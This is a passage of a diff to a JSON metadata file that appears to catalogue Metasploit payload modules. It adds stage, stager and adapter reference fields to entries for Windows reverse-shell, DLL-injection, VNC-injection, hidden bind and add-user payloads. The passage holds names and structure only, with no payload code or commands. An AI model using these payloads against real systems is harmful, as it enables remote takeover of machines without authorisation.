"windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/https/x64/shell/reverse_tcp_rc4": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -192203,7 +194001,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/https/x64/shell/reverse_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", @@ -192239,7 +194043,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/https/x64/shell_bind_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Inline", @@ -192274,7 +194084,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/windows/https/x64/shell_reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Inline", @@ -192309,7 +194123,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -192345,7 +194163,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -192382,7 +194206,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/https/x64/vncinject/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", @@ -192419,7 +194249,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/https/x64/vncinject/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", @@ -192455,7 +194291,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/https/x64/vncinject/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -192496,7 +194338,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/https/x64/vncinject/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -192533,7 +194381,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/https/x64/vncinject/reverse_http": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -192570,7 +194424,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/https/x64/vncinject/reverse_https": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -192609,7 +194469,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/https/x64/vncinject/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", @@ -192645,7 +194511,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/https/x64/vncinject/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -192686,7 +194558,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/https/x64/vncinject/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -192723,7 +194601,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/https/x64/vncinject/reverse_winhttp": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", @@ -192760,7 +194644,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/https/x64/vncinject/reverse_winhttps": { "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -192797,7 +194687,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/jjs_reverse_tcp": { "name": "Windows Shell, Reverse TCP (via jjs)", @@ -192834,7 +194730,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/windows/powershell/adduser": { "name": "Powershell Exec", @@ -192872,7 +194770,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/adduser", + "staged": false }, "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", @@ -192911,7 +194813,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", @@ -192950,7 +194858,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", @@ -192988,7 +194902,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -193027,7 +194947,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/custom/bind_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", @@ -193063,7 +194989,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", @@ -193099,7 +195031,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/custom/bind_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", @@ -193137,7 +195075,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -193177,7 +195121,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", @@ -193214,7 +195164,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/custom/find_tag": { "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", @@ -193250,7 +195206,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/find_tag", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/custom/reverse_hop_http": { "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", @@ -193288,7 +195250,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_hop_http", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_hop_http" }, "payload_cmd/windows/powershell/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", @@ -193324,7 +195292,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_http", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http" }, "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", @@ -193360,7 +195334,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_cmd/windows/powershell/custom/reverse_https": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", @@ -193396,7 +195376,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_https", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https" }, "payload_cmd/windows/powershell/custom/reverse_https_proxy": { "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", @@ -193434,7 +195420,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_https_proxy", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_https_proxy" }, "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", @@ -193472,7 +195464,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/custom/reverse_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -193508,7 +195506,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_named_pipe" }, "payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", @@ -193544,7 +195548,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -193580,7 +195590,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/custom/reverse_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", @@ -193618,7 +195634,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", @@ -193656,7 +195678,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", @@ -193695,7 +195723,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -193735,7 +195769,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -193775,7 +195815,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", @@ -193812,7 +195858,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/custom/reverse_udp": { "name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", @@ -193848,7 +195900,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_udp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_udp" }, "payload_cmd/windows/powershell/custom/reverse_winhttp": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", @@ -193885,7 +195943,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttp" }, "payload_cmd/windows/powershell/custom/reverse_winhttps": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", @@ -193922,7 +195986,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttps" }, "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", @@ -193961,7 +196031,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", @@ -194000,7 +196076,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", @@ -194038,7 +196120,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -194077,7 +196165,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", @@ -194114,7 +196208,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", @@ -194151,7 +196251,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/dllinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", @@ -194189,7 +196295,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -194229,7 +196341,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", @@ -194267,7 +196385,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/dllinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", @@ -194304,7 +196428,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/find_tag", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/dllinject/reverse_hop_http": { "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", @@ -194343,7 +196473,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_hop_http", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_hop_http" }, "payload_cmd/windows/powershell/dllinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", @@ -194380,7 +196516,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_http", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http" }, "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", @@ -194417,7 +196559,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", @@ -194455,7 +196603,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", @@ -194492,7 +196646,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -194529,7 +196689,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/dllinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", @@ -194567,7 +196733,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", @@ -194605,7 +196777,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", @@ -194644,7 +196822,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": 